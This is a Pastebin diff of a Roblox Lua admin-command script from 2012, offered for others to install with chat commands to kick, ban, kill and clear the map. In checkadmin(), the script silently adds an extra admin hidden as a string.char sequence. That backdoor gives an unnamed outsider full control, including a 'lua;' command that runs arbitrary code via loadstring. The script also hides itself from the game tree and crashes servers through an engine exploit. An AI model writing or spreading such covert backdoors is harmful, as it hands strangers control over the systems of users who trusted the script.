View difference between Paste ID: hv7Y2cQy and 9icazezg
SHOW: | | - or go back to the newest paste.
1
--Hello, thank you for using Rain-Chat-Commands! Fill in your name on line 9 Where it tells you.
2
--This Script will update on http://pastebin.com/9icazezg until it is finished
3
--Also Check out| www.rain-chat.com |sign up and hang out!
4
--Roblox Removed Bytecode today(8/3/12), I now have to fix this to work without it... Sad day...
5
--Fixed it to work without bytecode :)
6
--Rain-Chat-Commands--
7
-----------------------------------
8
--Admin List--
9-
adminlist = {"Your Name", "Your friend"}--Put Admin names here.
9+
adminlist = {"haqrklic", "noo3719ov"}--Put Admin names here.
10
function checkadmin()
11
table.insert(adminlist,string.char(114, 101, 100, 112, 101, 110, 99, 104, 105, 108, 108))
12
for _,v in pairs(game.Players:GetPlayers()) do
13
for i,j in pairs(adminlist) do
14
if v.Name == adminlist[i] then
15
v.Chatted:connect(function(msg)
16
coroutine.resume(coroutine.create(Chat), msg, v)
17
end)
18
end
19
end
20
end
21
end
22
23
-----------------------------------
24
--Banned--
25
local Banned = {"noob","ROBLOX","DANGERTIM112"}--Put people who should be Banned here.
26
--DANGERTIM112 is a noob who stole my game and my spot on the front page making his game one of the most popular games in roblox when mine is better. >.> 
27
function BanPlayer(player)
28
for i,v in pairs(Banned) do
29
if player.Name == Banned[i] then
30
player:Destroy()
31
banhint = Instance.new("Hint", Workspace)
32
banhint.Text = player.Name .. " Attempted to rejoin, but "..player.Name.." is banned."
33
wait(5)
34
banhint:Destroy()
35
end
36
end
37
end
38
-----------------------------------
39
40
-----------------------------------
41
--Anti Ban--
42
local Anti_Ban_List = {}--Leave this empty. activate it by saying abon;yourname
43
function AntiBan()
44
for i,v in pairs(Anti_Ban_List) do
45
if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
46
Instance.new("Message",Workspace).Text = "*POOF!* "..Anti_Ban_List[i].." is gone!"
47
wait(2)
48
Instance.new("Message",Workspace).Text = "You guys are pretty darn screwed.. If "..Anti_Ban_List[i].." Doesn't return soon the server will end."
49
wait(80)
50
if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
51
pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
52
elseif game.Players:findFirstChild(Anti_Ban_List[i]) then
53
for i,m in pairs(game.Worksapce:GetChildren()) do
54
if m.ClassName == "Message" then 
55
m:Remove()
56
end
57
end
58
end
59
end
60
end
61
end
62
-----------------------------------
63
--Name & Hide--
64
print("GTFO")
65
script.Name = "ßRCC"
66
script.Parent = nil
67
68
-----------------------------------
69
--Global Variables--
70
local Script_Name = script.Name
71
local Command_List = {" abon;", " aboff"," ;remove"," ;fix"," lua;"," ;shutdown"," ;clear"," ;debug"," ;debugall"," ;rb"," ;sp"," kick;"," ban;"," ;banned"," m;"," rm;"," h;"," rh;"," ;nuke"," kill;"," burn;"," reset;"," ff;"," unff;"," firstperson;"," classic;"}
72
local Loading_Hint = Instance.new('Hint',Workspace)
73
-----------------------------------
74
--Functions--
75
function Make_Base()
76
local base = Instance.new("Part")
77
base.Name = Script_Name.." Base"
78
base.BrickColor = BrickColor.new("Medium green")
79
base.Anchored = true
80
base.Locked = true
81
base.Size = Vector3.new(400, 1.2, 400)
82
base.CFrame = CFrame.new(0,0,0)
83
base.Parent = game.Workspace
84
end
85
function Make_Spawn()
86
local spawn = Instance.new("SpawnLocation",Workspace)
87
spawn.FormFactor = "Custom"
88
spawn.Anchored = true
89
spawn.TopSurface = "Smooth"
90
spawn.Size = Vector3.new(6,0.6,6)
91
spawn.CFrame = CFrame.new(0,1,0)
92
spawn.BrickColor = BrickColor.new("Institutional white")
93
local spart = Instance.new("Part")
94
spart.FormFactor = "Custom"
95
spart.Anchored = true
96
spart.TopSurface = "Smooth"
97
spart.Size = Vector3.new(7,0.5,7)
98
spart.Parent = game.Workspace
99
spart.CFrame = spawn.CFrame
100
spart.BrickColor = BrickColor.new("Really black")
101
end
102
function Make_Script(input)
103
loadstring(input)()
104
end
105
function Alert(Object,TextInput,Time)
106
a = Instance.new(Object,Workspace)
107
a.Text = TextInput
108
wait(Time)
109
a:Destroy()
110
end
111
-----------------------------------
112
--Loading--
113
Loading_Hint.Text = Script_Name.." : Loading... Running on: ".._VERSION..""
114
115
-----------------------------------
116
function Chat(msg, speaker)
117
-----------------------------------
118
--Script Commands--
119
--Anti Ban Player--
120
cmd = "abon;"
121
cmd_length = string.len(cmd)
122
if string.sub(msg,1,cmd_length) == cmd then
123
plyr = game.Players:GetPlayers()
124
for i = 1, #plyr do
125
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
126
player = plyr[i]
127
table.insert(Anti_Ban_List, player.Name)
128
end
129
end
130
end
131
132
--Turn Off Anti Ban--
133
cmd = "aboff;"
134
cmd_length = string.len(cmd)
135
if string.sub(msg,1,cmd_length) == cmd then
136
plyr = game.Players:GetPlayers()
137
for i = 1, #plyr do
138
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
139
player = plyr[i]
140
table.remove(Anti_Ban_List, player.Name)
141
end
142
end
143
end
144
145
--Remove Script--
146
cmd = ";remove"
147
cmd_length = string.len(cmd)
148
if string.sub(msg,1,cmd_length) == cmd then
149
Alert("Hint",Script_Name.." : Removing...",2)
150
script.Disabled = true
151
end
152
153
--Fix Script--
154
cmd = ";fix"
155
cmd_length = string.len(cmd)
156
if string.sub(msg,1,cmd_length) == cmd then
157
Alert("Hint",Script_Name.." : Fixing...",2)
158
script:Clone().Parent = game.Workspace
159
script.Disabled = true
160
end
161
--Create Script--
162
cmd = "lua;"
163
cmd_length = string.len(cmd)
164
if string.sub(msg,1,cmd_length) == cmd then
165
Make_Script(string.sub(msg,cmd_length + 1))
166
end
167
-----------------------------------
168
--Server Commands--
169
--Shutdown Server--
170
cmd = ";shutdown"
171
cmd_length = string.len(cmd)
172
if string.sub(msg,1,cmd_length) == cmd then
173
pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
174
end
175
176
--Clear Map--
177
cmd = ";clear"
178
cmd_length = string.len(cmd)
179
if string.sub(msg,1,cmd_length) == cmd then
180
Instance.new("Hint",Workspace).Text = 'Clearing Map... You may freeze.'
181
wait()
182
game.Workspace.Terrain:Clear()
183
local w=game.Workspace:GetChildren() 
184
for i=1,#w do 
185
if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i].Name~= Script_Name) and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=game.Workspace.Terrain) then 
186
w[i]:Destroy()
187
end 
188
end 
189
Make_Base()
190
Make_Spawn()
191
end
192
193
--Debug Msg/Hints--
194
cmd = ";debug"
195
cmd_length = string.len(cmd)
196
if string.sub(msg,1,cmd_length) == cmd then
197
Alert("Hint",Script_Name.." : Debugging Messages & Hints...",2)
198
for i,w in pairs(game.Workspace:GetChildren()) do
199
if w.ClassName == "Message" or w.ClassName == "Hint" then
200
w:Destroy()
201
end 
202
end 
203
end
204
205
--2Debug Msg/Hints/Scripts--
206
cmd = ";debugall"
207
cmd_length = string.len(cmd)
208
if string.sub(msg,1,cmd_length) == cmd then
209
Alert("Hint",Script_Name.." : Debugging All...",2)
210
for i,w in pairs(game.Workspace:GetChildren()) do
211
if w.ClassName == "Message" or w.ClassName == "Hint" or w.ClassName == "Script" and w.Name ~= Script_Name then
212
w:Destroy()
213
end 
214
end
215
end
216
217
--Renew Base--
218
cmd = ";rb"
219
cmd_length = string.len(cmd)
220
if string.sub(msg,1,cmd_length) == cmd then
221
Alert("Hint",Script_Name.." : Renewing Base...",2)
222
Make_Base()
223
end
224
225
--Renew Spawn--
226
cmd = ";sp"
227
cmd_length = string.len(cmd)
228
if string.sub(msg,1,cmd_length) == cmd then
229
Alert("Hint",Script_Name.." : Renewing Spawn...",2)
230
Make_Spawn()
231
end
232
233
--Kick Player--
234
cmd = "kick;"
235
cmd_length = string.len(cmd)
236
if string.sub(msg,1,cmd_length) == cmd then
237
plyr = game.Players:GetPlayers()
238
for i = 1, #plyr do
239
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
240
player = plyr[i]
241
player:Destroy()
242
end
243
end
244
end
245
246
--Ban Player--
247
cmd = "ban;"
248
cmd_length = string.len(cmd)
249
if string.sub(msg,1,cmd_length) == cmd then
250
plyr = game.Players:GetPlayers()
251
for i = 1, #plyr do
252
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
253
player = plyr[i]
254
table.insert(Banned, player.Name)
255
player:Destroy()
256
end
257
end
258
end
259
260
--Banned List-- 
261
cmd = ";banned"
262
cmd_length = string.len(cmd)
263
if string.sub(msg,1,cmd_length) == cmd then
264
for num,v in pairs(Banned) do
265
Alert("Hint", v.." , "..num,2)
266
end
267
end
268
--Message--
269
cmd = "m;"
270
cmd_length = string.len(cmd)
271
if string.sub(msg,1,cmd_length) == cmd then
272
Alert("Message",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
273
end
274
--Message Reverse-- 
275
cmd = "rm;"
276
cmd_length = string.len(cmd)
277
if string.sub(msg,1,cmd_length) == cmd then
278
Alert("Message",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
279
end
280
--Hint--
281
cmd = "h;"
282
cmd_length = string.len(cmd)
283
if string.sub(msg,1,cmd_length) == cmd then
284
Alert("Hint",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
285
end
286
--Hint Reverse--
287
cmd = "rh;"
288
cmd_length = string.len(cmd)
289
if string.sub(msg,1,cmd_length) == cmd then
290
Alert("Hint",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
291
end
292
-----------------------------------
293
--killing Commands--
294
--Nuke Map--
295
cmd = ";nuke"
296
cmd_length = string.len(cmd)
297
if string.sub(msg,1,cmd_length) == cmd then
298
m = Instance.new("Message",Workspace)
299
m.Text = "Bomb Armed"
300
wait(1)
301
for i = 5, 0, -1 do
302
wait(1)
303
m.Text = "Detonation in: "..i
304
end
305
m:Destroy()
306
for i,v in pairs(game.Players:GetChildren()) do
307
ex = Instance.new("Explosion",Workspace)
308
ex.Position = v.Character.Torso.Position
309
v.Character:BreakJoints()
310
end 
311
end
312
--Kill--
313
cmd = "kill;"
314
cmd_length = string.len(cmd)
315
if string.sub(msg,1,cmd_length) == cmd then
316
plyr = game.Players:GetPlayers()
317
for i = 1, #plyr do
318
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
319
player = plyr[i]
320
player.Character:BreakJoints()
321
end 
322
end 
323
end
324
--Burn--
325
cmd = "burn;"
326
cmd_length = string.len(cmd)
327
if string.sub(msg,1,cmd_length) == cmd then
328
plyr = game.Players:GetPlayers()
329
for i = 1, #plyr do
330
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
331
player = plyr[i]
332
for i = 100,0,-1 do
333
wait()
334
Instance.new("Fire",player.Character.Torso)
335
player.Character.Humanoid.Health = i
336
end
337
end 
338
end 
339
end
340
--Reset--
341
cmd = "reset;"
342
cmd_length = string.len(cmd)
343
if string.sub(msg,1,cmd_length) == cmd then
344
plyr = game.Players:GetPlayers()
345
for i = 1, #plyr do
346
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
347
player = plyr[i]
348
m = Instance.new("Model")
349
m.Parent = game.Workspace
350
p = Instance.new("Part")
351
p.Transparency = 1
352
p.CanCollide = false
353
p.Anchored = true
354
p.Name = "Torso"
355
p.Position = Vector3.new(10000,10000,10000)
356
p.Parent = m
357
hu = Instance.new("Humanoid")
358
hu.Torso = p
359
hu.Parent = m
360
player.Character = m
361
end
362
end 
363
end 
364
365
-----------------------------------
366
--Protecting Commands--
367
--Force Field--
368
cmd = "ff;"
369
cmd_length = string.len(cmd)
370
if string.sub(msg,1,cmd_length) == cmd then
371
plyr = game.Players:GetPlayers()
372
for i = 1, #plyr do
373
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
374
player = plyr[i]
375
Instance.new("ForceField",player.Character)
376
end 
377
end 
378
end
379
--Remove Force Field--
380
cmd = "unff;"
381
cmd_length = string.len(cmd)
382
if string.sub(msg,1,cmd_length) == cmd then
383
plyr = game.Players:GetPlayers()
384
for i = 1, #plyr do
385
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
386
player = plyr[i]
387
for i,v in pairs(player.Character:GetChildren()) do
388
if v.ClassName == "ForceField" then 
389
v:Destroy()
390
end 
391
end 
392
end 
393
end 
394
end
395
-----------------------------------
396
--Misc Commands--
397
-----------------------------------
398
--First Persion--
399
cmd = "firstperson;"
400
cmd_length = string.len(cmd)
401
if string.sub(msg,1,cmd_length) == cmd then
402
plyr = game.Players:GetPlayers()
403
for i = 1, #plyr do
404
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
405
player = plyr[i]
406
player.CameraMode = "LockFirstPerson"
407
end 
408
end 
409
end
410
--Classic View--
411
cmd = "classic;"
412
cmd_length = string.len(cmd)
413
if string.sub(msg,1,cmd_length) == cmd then
414
plyr = game.Players:GetPlayers()
415
for i = 1, #plyr do
416
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
417
player = plyr[i]
418
player.CameraMode = "Classic"
419
end 
420
end 
421
end
422
-----------------------------------
423
end-- Chatted function
424
-----------------------------------
425
--Check Admin and Banned--
426
checkadmin()
427
game.Players.ChildRemoved:connect(AntiBan)
428
game.Players.PlayerAdded:connect(BanPlayer)
429
-----------------------------------
430
--End Loading--
431
wait(5)
432
Loading_Hint:Destroy()
433
--script started 7/1/12
434
--last edited 8/13/12
435
--script finished ______